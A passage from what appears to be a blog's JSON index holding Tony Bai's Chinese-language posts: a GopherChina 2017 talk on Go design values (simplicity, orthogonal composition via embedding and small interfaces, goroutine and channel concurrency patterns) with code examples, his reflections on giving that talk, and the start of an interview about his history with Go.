... } //writer_demo.go buf := bufio.NewWriter(fd) buf.WriteString(\u0026quot;hello, \u0026quot;) buf.WriteString(\u0026quot;gopherchina \u0026quot;) buf.WriteString(\u0026quot;2017\u0026quot;) if err := buf.Flush() ; err != nil { return err } error handling的具体策略要根据实际情况而定。stdlib面向的”业务域”相对”狭窄”，像bufio.Write可以采用上面的方法解决，但是对于做业务应用的gopher来讲，业务复杂多变，错误处理没有绝对的模式，需根据上下文不同而具体设计。但如果一个函数中上述snippet过多，很可能是这个函数或方法的职责过多导致，重构是唯一出路。\n五、Orthogonal Composition 正交组合是我总结出来的第二个Go语言的价值观。如果说上一个价值观聚焦的是Go程序提供的各种小概念实体或者说”零件”的话，那么Composition就是在考虑如何将这些”零件”联系到一起，搭建程序的静态骨架。\n在Go语言设计层面，Go设计者为gopher提供了正交的语法元素，供后续组合使用，包括：\nGo语言无类型体系(type hierarchy)，类型定义正交独立； 方法和类型的正交性: 每种类型都可以拥有自己的method set； interface与其实现之间无”显式关联”； 正交性为”组合”策略的实施奠定了基础，提供了前提。Rob Pike曾说过： “If C++ and Java are about type hierarchies and the taxonomy(分类）of types, Go is about composition.”。组合是搭建Go程序静态结构的主要方式。“组合”的价值观贯穿整个语言设计和语言应用：\n类型间的耦合方式直接影响到程序的结构； Go语言通过“组合”构架程序静态结构； 垂直组合(类型组合)：Go通过 type embedding机制提供； 水平组合：Go通过interface语法进行“连接”。 interface是水平组合的关键，好比程序肌体上的“关节”，给予连接“关节”的两个部分各自“自由活动”的能力，而整体上又实现了某种功能。\n1、vertical composition thought(垂直组合思维) 传统OO语言都是通过继承的方式建构出自己的类型体系的，但Go语言中并没有类型体系的概念。Go语言通过类型的垂直组合而不是继承让单一类型承载更多的功能。由于不是继承，那么也就没有了所谓“父子类型”的概念，也没有向上、向下转型(type casting)；被嵌入的类型也不知道将其嵌入的外部类型的存在。调用Method时，method的匹配取决于方法名字，而不是类型。\nGo语言通过type embedding实现垂直组合。组合方式莫过于以下这么几种：\na) construct interface by embedding interface\ntype ReadWriter interface { Reader Writer } 通过在interface中嵌入interface type name，实现接口行为聚合，组成大接口。这种方式在stdlib中尤为常用。\nb) construct struct by embedding interface\ntype MyReader struct { io.Reader // underlying reader N int64 // max bytes remaining } c) construct struct by embedding struct\n// sync/pool.go type poolLocal struct { private interface{} // Can be used only by the respective P. shared []interface{} // Can be used by any P. Mutex // Protects shared. pad [128]byte // Prevents false sharing. } 在struct中嵌入interface type name和在struct嵌入struct，都是“委派模式(delegate)”的一种应用。在struct中嵌入interface方便快速构建满足某一个interface的dummy struct，方便快速进行unit testing，仅需实现少数需要的接口方法即可，尤其是针对Big interface时。\nstruct中嵌入struct，被嵌入的struct的method会被提升到外面的类型中，比如上述的poolLocal struct，对于外部来说它拥有了Lock和Unlock方法，但是实际调用时，method调用实际被传给poolLocal中的Mutex实例。\n2、small interface thought(小接口思维) interface是Go语言真正的魔法。前面提到过，interface好比程序肌体的骨架关节，上下连接着骨架部件。interface决定了Go语言中类型的水平组合方式。interface与其实现者之间的关系是隐式的，无需显式的”implements”声明(但编译器会做静态检查)；interface仅仅是method集合，而method和普通function一样声明，无需在特定位置。\n在Go语言中，你会发现小接口（方法数量在1~3）定义占据主流。\n// builtin/builtin.go type error interface { Error() string } // io/io.go type Reader interface { Read(p []byte) (n int, err error) } // net/http/server.go type Handler interface { ServeHTTP(ResponseWriter, *Request) } type ResponseWriter interface { Header() Header Write([]byte) (int, error) WriteHeader(int) } 我统计了一下stdlib、k8s和docker里面的interface定义，画出了下面这幅接口个数与接口中method个数关系的折线图：\n小接口方法少，职责单一；易于实现和测试，通用性强(如:io.Reader和Writer)，易于组合(如:io.Reader)。不过要想在业务领域定义出合适的小接口，还是需要对问题域有着透彻的理解的。往往无法定义出小接口，都是由于对领域的理解还不到位，没法抽象到很高的程度所致。\n3、horizontal composition thought(水平组合思维) 有了小接口，后续主要关注如何通过接口进行“连接”的方式实现水平组合，以解决大问题、复杂的问题。通过interface进行组合的一种常见方法就是：通过接受interface类型参数的普通function进行组合。\n以下几种具体形式：\na) 基本形式\n接受interface value作为参数是水平组合的基本形式：\n形式：someFunc(interface value parameter) 隐式的interface实现会不经意间满足：依赖抽象、里氏替换原则、接口隔离等原则，这在其他语言中是需要很”刻意”的设计谋划的，但在Go interface来看，一切却是自然而然的。\nfunc ReadAll(r io.Reader) ([]byte, error) func Copy(dst Writer, src Reader) (written int64, err error) b) wrapper function\n形式：接受interface类型参数，并返回与其参数类型相同的返回值\n// Wrapper function: func LimitReader(r Reader, n int64) Reader { return \u0026amp;LimitedReader{r, n} } type LimitedReader struct { R Reader // underlying reader N int64 // max bytes remaining } func (l *LimitedReader) Read(p []byte) (n int, err error) {} // Usage: r := strings.NewReader(\u0026quot;some io.Reader stream to be read\\n\u0026quot;) lr := io.LimitReader(r, 4) if _, err := io.Copy(os.Stdout, lr); err != nil { log.Fatal(err) } // Output: some LimitReader是一个wrapper function，它在r的外面再包裹上LimitedReader。通过wrapper function将NewReader和LimitedReader 的两者巧妙的组合在了一起。这样当我们采用包装后的reader去Read时，返回的是受到Limitedreader限制的内容了：即只读取了前面的4个字节：”some”。\nc) wrapper function chain\n由于wrapper function返回值类型与parameter类型相同，因此wrapper function可以组合一个chain，形式如下：\n形式：wrapperFunc(wrapperFunc(wrapperFunc(...))) 我们定义一个wrapper function：CapReader，用于将从reader读取的数据变为大写：\nfunc CapReader(r io.Reader) io.Reader { return \u0026amp;capitalizedReader{r: r} } type capitalizedReader struct { r io.Reader } func (r *capitalizedReader) Read(p []byte) (int, error) { n, err := r.r.Read(p) if err != nil { return 0, err } q := bytes.ToUpper(p) for i, v := range q { p[i] = v } return n, err } 将多个wrapper function串在一起：\ns := strings.NewReader(\u0026quot;some io.Reader stream to be read\\n\u0026quot;) r := io.TeeReader(CapReader(io.LimitReader(s, 4)), os.Stdout) b, _ := ioutil.ReadAll(r) //SOME fmt.Println(len(b)) //4 可以看到例子中，我们将TeeReader、CapReader、LimitedReader、strings Reader等组合到了一起，实现了读取前四个字节，将读取数据转换为大写并输出到标准输出的功能。\n**d) adapter function type **\nadapter function type是一个辅助水平组合实现的“工具”。adapter function type将一个普通function转换为自己的类型，同时辅助快速实现了某个“one-method” interface。 adapter function type的行为模式有些像电影中的“僵尸” – 咬别人一口就可以将别人转化为自己的同类。最著名的僵尸类型莫过于http.HandlerFunc了：\ntype Handler interface { ServeHTTP(ResponseWriter, *Request) } type HandlerFunc func(ResponseWriter, *Request) func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { f(w, r) } // Usage: use HandlerFunc adapts index function to an implemenation type of Handler interface. func index(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026quot;Welcome!\u0026quot;) } http.ListenAndServe(\u0026quot;:8080\u0026quot;, http.HandlerFunc(index)) 可以看到通过HandlerFunc，我们可以将普通function index快速转化为满足Handler interface的type。一旦转化ok，便可以通过interface进行组合了。\n**e) middleware composition **\nmiddleware这个词的含义可大可小，在Go Web编程中，常常指的是一个满足Handler interface的HandlerFunc类型实例。实质上：\nmiddleware = wrapper function + adapter function type 我们可以看一个例子：\nfunc logHandler(h http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { t := time.Now() log.Printf(\u0026quot;[%s] %q %v\\n\u0026quot;, r.Method, r.URL.String(), t) h.ServeHTTP(w, r) }) } func authHandler(h http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { err := validateAuth(r.URL.Query().Get(\u0026quot;auth\u0026quot;)) if err != nil { http.Error(w, \u0026quot;bad auth param\u0026quot;, http.StatusUnauthorized) return } h.ServeHTTP(w, r) }) } func main() { http.ListenAndServe(\u0026quot;:8080\u0026quot;, logHandler(authHandler(http.HandlerFunc(index)))) } wrapper function（如：logHandler、authHandler）内部利用 adapter function type转化了一个普通function，并返回实现了Handler interface的HandlerFunc类型实例。\n六、Preference in Concurrency Go语言的第三个价值观是偏好并发。如果说interface和组合决定了程序的静态结构组成的话，那么concurrency则影响着程序在执行阶段的动态运行结构。从某种意义上说，Go语言就是关于concurrency和interface的设计!\n并发不是并行(paralell)，并发是关于程序结构的，而不是关于性能的。并发让并行更easy，并且通常性能更好;对于程序结构来说，concurrency是一个比interface组合更大的概念。并发是一种在程序执行层面上的组合：goroutines各自执行特定的工作，通过channels+select将goroutines连接起来。原生对并发的支持，让Go语言更适应现代计算环境。并发的存在鼓励程序员在程序设计时进行独立计算的分解。\n在语言层面，Go提供了三种并发原语：\ngoroutines提供并发执行, 它是Go runtime调度的基本单元；goroutine实现了异步编程模型的高效，但却允许你使用同步范式编写代码，降低心智负担；goroutines被动态地多路复用到系统核心线程上以保证所有goroutines的正常运行。\nchannels用于goroutines之间的通信和同步；channel是goroutines间建立联系的主要途径或者说goroutine通过channel耦合/组合在一起，这一点channel的功用有点像Unix pipe。\nselect可以让goroutine同时协调处理多个channel操作。\n1、concurrency thought(并发思维) 我将“偏好并发”价值观下的思维统称为“并发思维”。并发思维的核心依旧是组合！\n采用并发思维进行程序动态结构设计，需要识别和分解出独立的计算单元放入Goroutines执行，并使用channel/select建立Goroutines之间的联系。计算单元的拆解是并发程序设计的重点，拆解没有统一规则，因业务域不同而异，例如：素数筛实现为每个素数建立一个goroutine以筛除素数的倍数。\n不过我们可以从建立Goroutines间的“联系”的角度来看一些常见的goroutines间的“关系”模式。我们可以从“退出机制”和“通信联系”两大方面出发考虑。\na) “detached” goroutine 所谓分离的goroutine，即不需要关心它的退出，相当于与父goroutine间“无关系”。这类goroutines启动后与其创建者彻底分离(detached)，生命周期与程序生命周期相同。通常，这类goroutine在后台执行一些特定任务，如：monitor、watcher等。其实现通常采用for-select代码段形式；以timer或event驱动。\nGo应用中内置的GC goroutine就是这种类型的：\n// runtime/mgc.go go gcBgMarkWorker(p) // each P has a background GC G. func gcBgMarkWorker(_p_ *p) { gp := getg() for { ... ... } } b） “parent-child” goroutine 这类goroutine与detached goroutine正相反，parent需要通知并等待child退出。如果仅通知并等待一个child，我们可以这样做：\nparent: quit := make(chan string) go child(quit) child: select { case c := \u0026lt;-workCh: // do something case \u0026lt;-quit: // do some cleanup quit\u0026lt;-\u0026quot;done\u0026quot; } parent: quit\u0026lt;-\u0026quot;quit\u0026quot; \u0026lt;-quit 当需要同时通知多个child goroutine quit时，我们可以通过channel close来实现：\nparent: quit := make(chan struct{}) for ... { go child(quit) // several child goroutines } child: select { case c := \u0026lt;-workCh: // do something case \u0026lt;-quit: // do some cleanup return } parent: close(quit) time.Sleep(time.Second * 30) 如果parent要获得child的退出状态值，可以自定义quit channel中的元素类型：\ntype ExitStatus interface { Status() int } type IntStatus int // an adapter func (n IntStatus)Status() int { return int(n) } quit := make(chan ExitStatus) // for each child goroutine child: quit \u0026lt;- IntStatus(2017) parent: s := \u0026lt;-quit fmt.Println(s.Status()) //2017 c) service handle 一些goroutine在程序内部提供特定service，这些goroutine使用channel作为service handle，其他goroutine通过service handle与其通信。\n比如：我们经常使用的time.After返回一个service handle：\n//time/sleep.go func After(d Duration) \u0026lt;-chan Time { return NewTimer(d).C } 对应的service goroutine就是runtime中的timer service goroutine：\n// runtime/time.go func timerproc() { timers.gp = getg() for { ... ... } } 编写此类service goroutine时，需要考虑对于“慢消费者”service goroutine应该如何处置：阻塞还是丢弃。timer service goroutine使用的是buffered channel(size=1)，并在向channel发送消息时通过select做了一个判断。如果channel buffer满了，则丢弃这次timer事件。\n如果我们要同时处理来自不同service goroutine的handle，那么可以使用service handles aggregation，见下面例子：\n比如：我们从wechat、weibo、短信渠道获取msg：\ntype msg struct { content string source string } func wechatReceiver() \u0026lt;-chan *msg { c := make(chan *msg) go func() { c \u0026lt;- \u0026amp;msg{\u0026quot;wechat1\u0026quot;, sourceWechat} c \u0026lt;- \u0026amp;msg{\u0026quot;wechat2\u0026quot;, sourceWechat} c \u0026lt;- \u0026amp;msg{\u0026quot;wechat3\u0026quot;, sourceWechat} }() return c } func weiboReceiver() \u0026lt;-chan *msg {...} func textmessiageReceiver() \u0026lt;-chan *msg {...} 我们需要把这些handle聚合起来统一处理，我们通过一个aggregation function来做。对于不固定数量handles的聚合，用goroutine来聚合(非常类似于unix pipe chain)：\nfunc serviceAggregation(ins ...\u0026lt;-chan *msg) \u0026lt;-chan *msg { out := make(chan *msg) for _, c := range ins { go func(c \u0026lt;-chan *msg) { for v := range c { out \u0026lt;- v } }(c) } return out } c := serviceAggregation(weiboReceiver(), wechatReceiver(), textmessageReceiver()) m := \u0026lt;-c // 获取message并处理 对于固定数量handles聚合，用select就可以实现：\nfunc serviceAggregation(weibo, wechat, textmessage \u0026lt;-chan *msg) \u0026lt;-chan *msg { out := make(chan *msg) go func(out chan\u0026lt;- *msg) { for { select { case m := \u0026lt;-weibo: out \u0026lt;- m case m := \u0026lt;-wechat: out \u0026lt;- m case m := \u0026lt;-textmessage: out \u0026lt;- m } } }(out) return out } c := serviceAggregation(weiboReceiver(), wechatReceiver(), textmessageReceiver()) m := \u0026lt;-c // 获取message并处理 d) dispatch-and-mix goroutines 在“微服务”时代，我们在处理一个请求时经常调用多个外部微服务并综合处理返回结果：\nfunc handleRequestClassic() { r1 := invokeService1() //handle result1 r2 := invokeService2() //handle result2 r3 := invokeService3() //handle result3 } 上述例子中的问题是显而易见的：顺序调用、慢、一旦某个service出现异常，返回时间不可预知，可能会导致调用阻塞。\n一个优化的方法就是讲将处理请求时对外部的服务调用分发到goroutine中，再汇总返回结果。并且通过设置一个总体超时时间，让调用返回的时间可预知。：\nfunc handleRequestByDAM() { c1, c2, c3 := make(chan Result1), make(chan Result2), make(chan Result3) go func() { c1 \u0026lt;- invokeService1() } () go func() { c2 \u0026lt;- invokeService2() } () go func() { c3 \u0026lt;- invokeService3() } () timeout := time.After(200 * time.Millisecond) for i := 0; i \u0026lt; 3; i++ { select { case r := \u0026lt;-c1: //handle result1 c1 = nil case r := \u0026lt;-c2: //handle result2 c2 = nil case r := \u0026lt;-c3: //handle result3 c3 = nil case \u0026lt;-timeout: fmt.Println(\u0026quot;timed out\u0026quot;) return } } return } 不过这次优化后的程序依旧存在一个问题，那就是一旦timeout，调用返回，但一些在途的请求资源可能没有回收，request无法显式撤回，久而久之，可能导致资源的泄露。于是我们做进一步改进：通过Context显式cancel掉已经向外发起的在途请求，释放占用资源:\ntype service func() result func invokeService(ctx context.Context, s service) chan result { c := make(chan result) go func() { c1 := make(chan result) go func() { c1 \u0026lt;-s() } select { case v := \u0026lt;-c1: c \u0026lt;-v case \u0026lt;-ctx.Done(): // cancel this in-flight request by closing its connection. } }() return c } func handleRequestByDAM() { ctx, cf := context.WithCancel(context.Background()) c1, c2, c3 := invokeService(ctx, service1), invokeService(ctx, service2), invokeService(ctx, service3) timeout := time.After(200 * time.Millisecond) for i := 0; i \u0026lt; 3; i++ { select { case r := \u0026lt;-c1: //handle result1 case r := \u0026lt;-c2: //handle result2 case r := \u0026lt;-c3: //handle result3 case \u0026lt;-timeout: cf() // cancel all service invoke requests return } } return } 优化后的程序的优点：并发、快、返回结果可预知。\n七、总结 通过这篇文章，我总结了主导Go语言编程思维的三个价值观：\nOverall Simplicity Orthogonal Composition Preference in Concurrency 阐述了每种价值观主导下的编程思维，并给出了每种编程思维在语言设计、语言应用方面的一些模式和实际例子。\nGo最初的设计初衷还有一点，那就是将编程时的fun重新带给Gopher们。但个人觉得只有当你使用Go编程思维去写Go code时，你才能体会到Go设计者的用意，才能让你没有别扭的赶脚，发现自己走在正确的way上，才能真正感到go coding时的fun。\n另外，虽然总结出的三个价值观数量不多，但如果能在实际运用中认真践行，却能迸发巨大能量。它会让你应对各种复杂情况、代码设计变得游刃有余、顺利解决各种业务问题。\n最后再说说Go 2.0。回到前面的 “编程语言思维的形成”模型，行为总是对结构有反馈的，这将导致结构的持续改变和优化。Go team将于今年8月份发布Go1.9版本，这是一个关键的时间节点。恰好今年的denver的Gophercon大会上，Russ Cox将做”the future of go”的演讲，后续是继续1.10还是Go 2.0，让我们拭目以待！不过个人觉得，无论对语言结构改动的需求有多大，Go的价值观都是不会发生改变的。\n本文的slide文件可以在这里下载。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/04/20/go-coding-in-go-way/","summary":"\u003cp\u003e本篇文章是我在2017年\u003ca href=\"http://tonybai.com/2017/04/18/my-experience-of-gopherchina-2017-as-a-speaker/\"\u003e第三届GopherChina大会\u003c/a\u003e上所作talk：”\u003ca href=\"https://tonybai.com/2017/04/20/go-coding-in-go-way/(https://github.com/bigwhite/talks/blob/master/gopherchina/2017/go-coding-in-go-way-cn.slide)\"\u003eGo coding in go way\u003c/a\u003e“的改编和展开版，全文如下。\u003c/p\u003e\n\u003ch2 id=\"一序\"\u003e一、序\u003c/h2\u003e\n\u003cp\u003e今天我要分享的题目是**“Go coding in go way”\u003cstrong\u003e，中文含义就是用\u003c/strong\u003e“Go语言编程思维去写Go代码”**。看到这个题目大家不禁要问：究竟什么是\u003ca href=\"https://golang.org/\"\u003eGo语言\u003c/a\u003e编程思维呢？关于什么是Go语言变成思维其实并没有官方说法。这里要和大家交流的内容都是基于\u003ca href=\"https://blog.golang.org/7years\"\u003eGo诞生七年\u003c/a\u003e多以来我个人对Go的设计者、Go team以及Go主流社区的观点和代码行为的整理、分析和总结。希望通过我的这次“抛砖引玉”，让在座的Gopher们对“Go语言编程思维”有一个初步的认知，并在日常开发工作中遵循Go语言的编程思维，写出idiomatic的Go代码。\u003c/p\u003e","title":"Go coding in go way"},{"content":"时光荏苒。2016年北京GopherChina大会的情形还历历在目，2017年上海GopherChina大会又如约而至。\n一、印象 这是我连续第二年参加AstaXie组织举办的GopherChina大会。而且不同于去年的是，这次我是以讲师身份参与的。虽然大会地点不同，我的角色不同，但不变的是和广大Gophers一样的对Go语言的极大热情。\n这也是第三届GopherChina大会。随着Go语言自身的快速演进以及Go在国内各个行业应用的快速增长，GopherChina大会在大中华区的影响力与日俱增：既得到了更多圈内赞助商的赞助，也得到了Gophers们的极大关注。有好多Gophers都是GopherChina大会的连续参加者，有些Gopher甚至连续参加了三届，我个人就看到了好多去年在北京大会上遇到的Gophers。这让能容纳近1500名观众的主会场又近乎爆满。举办和参加这样级别的技术大会，无论是对于主办方还是观众都是一种考验。索性的是，在谢大和相关工作人员的不懈努力之下，两天的大会举办的是很是成功，大会紧凑而有序。并且在第一天晚上举办的技术Party上，大胡子Dave Cheney还为我们带来了“Gopher puzzlers”。这让技术party的气氛一下达到了高潮。\n二、选题考量 由于本次是以讲师身份参加的大会，因此这里就不打算像去年那样对其他讲师以及其presentation进行点评了（若要看点评，可以移步到知乎上小伙伴开的贴子）。这里我主要来说说我这次参会的选题以及个人对于类似GopherChina这样的技术大会应该讲些什么的理解。\n年初，谢大在征集GopherChina的topic的时候问我是否愿意在今年的GopherChina大会上做分享？说实话我非常想去分享，自己也是一个爱分享之人。但是分享什么topic的确是一个问题。自己研究Go较早，但一直没有全职Go，直到去年才开始成为full-time Go。而自己对GopherChina这类技术大会分享的主题也是有自己的想法的，那就是希望大会能像美国丹佛举办的gophercon大会一样，多一些关于Go语言本身的Topic。于是我就有了自己来分享一个关于Go语言自身的topic的想法，和谢大做了沟通后得到了谢大的支持。下面的topic初步描述反映了我当时关于slide的思路规划：\n*“2016年Go语言问鼎TIOBE编程语言排行榜的年度语言，证明了Go语言在全世界范围内的蓬勃发展之势，将来会有越来越多的开发人员加入到Gophers行列。Go以语法简单、门槛低、上手快著称。但入门后很多人发现要写出地道的、遵循Go思维的代码却是不易。为此，在本次分享中，作者将结合Go team的talk资料、参考和提炼Go标准库以及主流Go开源项目的精华源码风格和惯用法，和大家一起探讨《go coding in go way》之道。” *\n关于这样的一个主题，我的心理也是忐忑的，内心中有种赶脚：这个topic有些大啊！在阅读代码、收集和整理资料方面的工作肯定也不少，于是我早早开始了一些资料收集工作。\n最初我的topic是偏向于go idiomatic tricks或best practice这个方向的，但随着准备工作的进行，我的头脑中出现了几个疑问：Go诞生这么多年，go idiomatic tricks或best practice已经为人知晓，但很多问题并无定论，我是否可以探讨一下呢？比如：Go的编程思维到底是如何形成的？为什么Go上手易，写出idiomatic的code难呢？我是否能再上一个层次，将go idiomatic tricks或best practice这些冰山上面的具现事物的底层根源找出来呢？这时恰逢国内上映《降临》这部美国大片，在电影院看完片后，我思考着影片中的理论核心：“萨丕尔-沃夫假说”并陷入沉思。\n于是乎那天晚上我就有了一个关于topic的新的想法，那就是探究Go编程思维背后的东西。但考虑到如何应用编程思维去写go代码，我又阅读了大量go stdlib、kubernetes的代码，试图在这些代码中找到”Go语言编程思维”的应用实例并补充的slide中。这样slide的大体结构就出来了：\n铺垫 - “萨丕尔-沃夫假说” 作为引子，说明语言与思维的联系 - 针对一个问题的三个语言版本实现，说明编程语言对编程思维的影响 - 提出：语言价值观是语言影响思维的根本(一个示意图阐述模型) 价值观 - Go语言的价值观的形成和价值观内容 - 每种价值观下的语言设计 - 每种价值观主导下的Go编程思维 - 这写Go编程思维的具体运用实例 而随着资料准备的深入，逐渐完成了价值观（“全面简单”、“正交组合”和“偏好并发”）与编程思维的内容体系构架（大纲）：\nOverall Simplicity - short naming thought - minimal thought Orthogonal Composition - vertical composition thought - small interface thought - horizontal composition thought Preference in Concurrency - concurrency thought 其实在这个资料准备过程，我个人对于Go语言的理解也得到了一定的升华，也更加理解Go的设计者在当初设计语言时做出的一些选择了，并且感觉在面对实际业务问题时、在代码设计时，更加有道可循了。\n临近大会，开始写slide。本着present in go way的思路^_^，我首选go present tool支持.slide格式文档，最后形成了近70 pages的文档。我也感觉页数有些多，并且每次自己彩排一遍都超时。但页面之间逻辑紧扣，武断地删除一页又担心思维跳跃，不便于整体理解，于是硬着头皮将所有内容都保留到了最后。\n三、Presentation分析 不过实际presenting过程，我依然超时了:(了，整个presentation过程并不顺利。\n首先是大会的屏幕分辨率似乎有些问题，slide的标题部分根本没有显示出来，这直接导致在座的gopher们看不清我的思路体系，内容让人感觉突兀。就像知乎上ezbuy 翁总的“批评”：“不知为何说变量统计”。 其次，不得不承认自己在千人面前speaking，的确紧张紧张紧张啊，尤其是初期，节奏变慢，有些东西没有讲出来，可能会让在座观众感觉思路有跳跃； 再次，也许gopher们更关心编程思维下的具体展现，也就是后面的代码部分，但由于前面节奏控制不好，铺垫部分有些多了，占用了大量时间，而导致后面代码部分讲解非常快。 再再次，每个会场的gopher的关注点不同，一些gopher可能更喜欢像“微服务实战”这样的一些关于他们目前所遇到问题的解决方案的topic。 最后，话题大，不够聚焦。自己准备这类规模大会topic时的经验还是不足。即便讲语言本身，也应该聚焦，就像Dave Cheney或Francesc Campoy的topic那样，只把一个事情的来龙去脉讲透。 纵观前两届gopherchina大会，国人讲关于Go语言自身层面topic的比例较低，甚至可以用凤毛麟角来形容。更多topic集中在某一业务领域的产品、架构、原理和工程上的实践等。我并不是说这些topic不好，毕竟像GopherChina这样规模的大会需要topic的多样性。只是这一届我要挑战一下自己，虽然结果不是那么理想。\n不过，即便被吐槽，其实也没什么，说明和优秀的Go讲师相比，自己的确是有差距的。有差距就努力去弥补呗。如果下一届还有机会分享，我还会分享与Go语言相关的topic，只是要吸取经验，更加聚焦。\n四、回复吐槽 在这里也回复一下几个gopher的吐槽：\n1、”过度吹捧Go”\n我真想不出为何这位Gopher能有这种想法。\n首先在Gopher大会上，说Go肯定是没问题的。我从来都说Go是一门牛逼的语言，但从来没说Go是最好的语言。\n至于所谓的上升到“价值观”的层面，那是对一门编程语言本质上的探讨，是对Go代码设计思维本源的思考，无关吹捧或不吹捧。\n任何一门编程语言都有设计者自己背后的理解和选择，都可以上升到价值观。\n不过我不能否认的是上升到编程语言价值观这个层次，是需要一定编程语言积累的。所以初学者体会不到也是正常的。慢慢来:)\n2、“一些模凝两可的结论”\n我不知道这个“吐槽”的原因是否是因为我在talk开始时说了几句谦虚的话。但谦虚并不代表模棱两可。slide中的所有结论都是我思考后的结果，这种东西本身就是主观的，这又不是数学，需要有精密的证明过程。但我在表达这些观点时一直都是坚定的。不知道在这位gopher心中，萨丕尔-沃夫假说是否也算是模棱两可的结论呢？\n我的确希望这个topic能作为一次“抛砖引玉”，让广大gopher一起深层次理解语言设计者的初衷以及go设计过程中的一些考虑和认知，能让我们更好的使用Go语言。你可以补充，可以针对某个观点反驳，但你要拿出你的思考过程。如果能说服我，说服大家，那我就认同。这次的分享就是我的思考过程，绝不是模棱两可。\n小结 最后，十分感谢AstaXie，没有他就没有GopherChina！希望今后的GopherChina大会越办越好，希望Go基金会越做越大！\ngopherchina 2017所有讲师的slide已经放出，可以在这里下载。\n我个人的talk slide在这里可以下载。 GopherChina会场周围的美丽景色\n与GopherChina mascot合影\n演讲中\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/04/18/my-experience-of-gopherchina-2017-as-a-speaker/","summary":"\u003cp\u003e时光荏苒。2016年\u003ca href=\"http://tonybai.com/2016/04/18/my-experience-of-gopherchina2016/\"\u003e北京GopherChina大会的情形\u003c/a\u003e还历历在目，\u003ca href=\"https://github.com/gopherchina/conference/tree/master/2017\"\u003e2017年上海GopherChina大会\u003c/a\u003e又如约而至。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopherchina2017.jpg\"\u003e\u003c/p\u003e\n\u003ch3 id=\"一印象\"\u003e一、印象\u003c/h3\u003e\n\u003cp\u003e这是我连续第二年参加\u003ca href=\"http://github.com/astaxie/\"\u003eAstaXie\u003c/a\u003e组织举办的\u003ca href=\"http://www.gopherchina.org/\"\u003eGopherChina大会\u003c/a\u003e。而且不同于去年的是，这次我是以讲师身份参与的。虽然大会地点不同，我的角色不同，但不变的是和广大Gophers一样的对\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e的极大热情。\u003c/p\u003e\n\u003cp\u003e这也是第三届GopherChina大会。随着\u003ca href=\"http://tonybai.com/2017/02/03/some-changes-in-go-1-8/\"\u003eGo语言自身的快速演进\u003c/a\u003e以及Go在国内各个行业应用的快速增长，GopherChina大会在大中华区的影响力与日俱增：既得到了更多圈内赞助商的赞助，也得到了Gophers们的极大关注。有好多Gophers都是GopherChina大会的连续参加者，有些Gopher甚至连续参加了三届，我个人就看到了好多去年在北京大会上遇到的Gophers。这让能容纳近1500名观众的主会场又近乎爆满。举办和参加这样级别的技术大会，无论是对于主办方还是观众都是一种考验。索性的是，在谢大和相关工作人员的不懈努力之下，两天的大会举办的是很是成功，大会紧凑而有序。并且在第一天晚上举办的技术Party上，大胡子\u003ca href=\"https://dave.cheney.net/\"\u003eDave Cheney\u003c/a\u003e还为我们带来了\u003ca href=\"http://talks.godoc.org/github.com/davecheney/presentations/gopher-puzzlers.slide#1\"\u003e“Gopher puzzlers”\u003c/a\u003e。这让技术party的气氛一下达到了高潮。\u003c/p\u003e","title":"GopherChina2017以讲师身份参会感悟"},{"content":"今年有幸收到GopherChina大会的组织者、beego开源项目的owner、《Go Web编程》的作者谢孟军童鞋的邀请，以讲师身份参加今年的GopherChina大会。下面是GopherChina对我这个讲师的专访稿^0^。该专访稿将同时被发布在公众号“Go中国(微信号：golangchina)”上面，可点击这里阅读。\n1、首先介绍一下自己。 大家好！我叫白明（Tony Bai），目前是东软云科技的一名架构师，专职于服务端开发，日常工作主要使用Go语言。我算是国内较早接触Go语言的程序员兼Advocater了，平时在我的博客、微博和微信公众号“iamtonybai”上经常发表一些关于Go语言的文章和Go生态圈内的信息。\n在接触Go之前，我主要使用C语言开发电信领域的一些后端服务系统，拥有多年的电信领域产品研发和技术管理经验。我个人比较喜换钻研和分享技术，是《七周七语言》一书的译者之一，并且坚持写技术博客十余年。同时我也算是一个开源爱好者，也在github上分享过自己开发的几个小工具。\n目前的主要研究领域包括：Go、Kubernetes、Docker和儿童编程教育等。\n2、回忆一下与Golang的渊源。是什么原因决定尝试Golang？自己用Go语言实现的第一个项目是什么？当时 Golang 有什么令人惊喜的表现，又有什么样的小不足，这个不足在Golang已经更新到1.8版本的时候是否已经得到改善？ 众所周知，Go语言最初由Robert Griesemer, Ken Thompson和Rob Pike在2007年末共同设计和实现，2009年11月份正式发布并开源，并于2012年3月份发布了1.0版本以及Go1规范。我就是在2012年开始接触Go的，那是缘于看到一份由Rob Pike主讲的3-day Go Course资料。从那份资料里，我了解到了Go的设计理念和Go语法。\n由于之前浸淫于C语言多年，深知C语言在系统编程以及服务端编程方面的强大，同时也亲身体会到C的语法“陷阱”和C手工内存管理给开发者带来的苦恼。虽然那些年市面上也有其他主流语言可供选择，但在我看来，它们给我带来的心智负担太过沉重，比如：C++“宇宙无敌”的学习和使用复杂性、Java超大的资源消耗和庞大且纷繁芜杂的框架体系、动态语言（ruby、python）无静态类型而导致运行时crash时调试的困难、函数式语言（如Haskell、clisp）的过于小众和非主流。显然它们都不是我的菜。直到Go的出现，C程序员出身的我一下子就被这门新语言迷住了。\n现在想起这件事来，我当时迷上Go应该主要由于以下几点原因：\n* 静态类型语言、接近于C的性能(对于C程序员来说，这算是某种天然继承性) * 简洁的语法 * 内置的并发支持 * GC * 贯穿整个语言的正交设计和组合编程思路（兼容对OO的支持） * 工具和功能全面的标准库 而且这几点也是这几年持续支撑我深入学习和使用Go语言的原因。\n不过由于Go1刚出来时也十分小众，并且各方面功能还在完善中，我并没有在真实项目中使用Go，这种状况一直持续到2014年末。直到那时，我才在一个小项目中使用Go实现了一个微信公众号的协议接口。当时发现：使用Go实现一些安全协议真是非常方便，因为标准库里内置了很好的支持，比如：各种aes、sha256、tls算法实现。同时，Go内置的testing 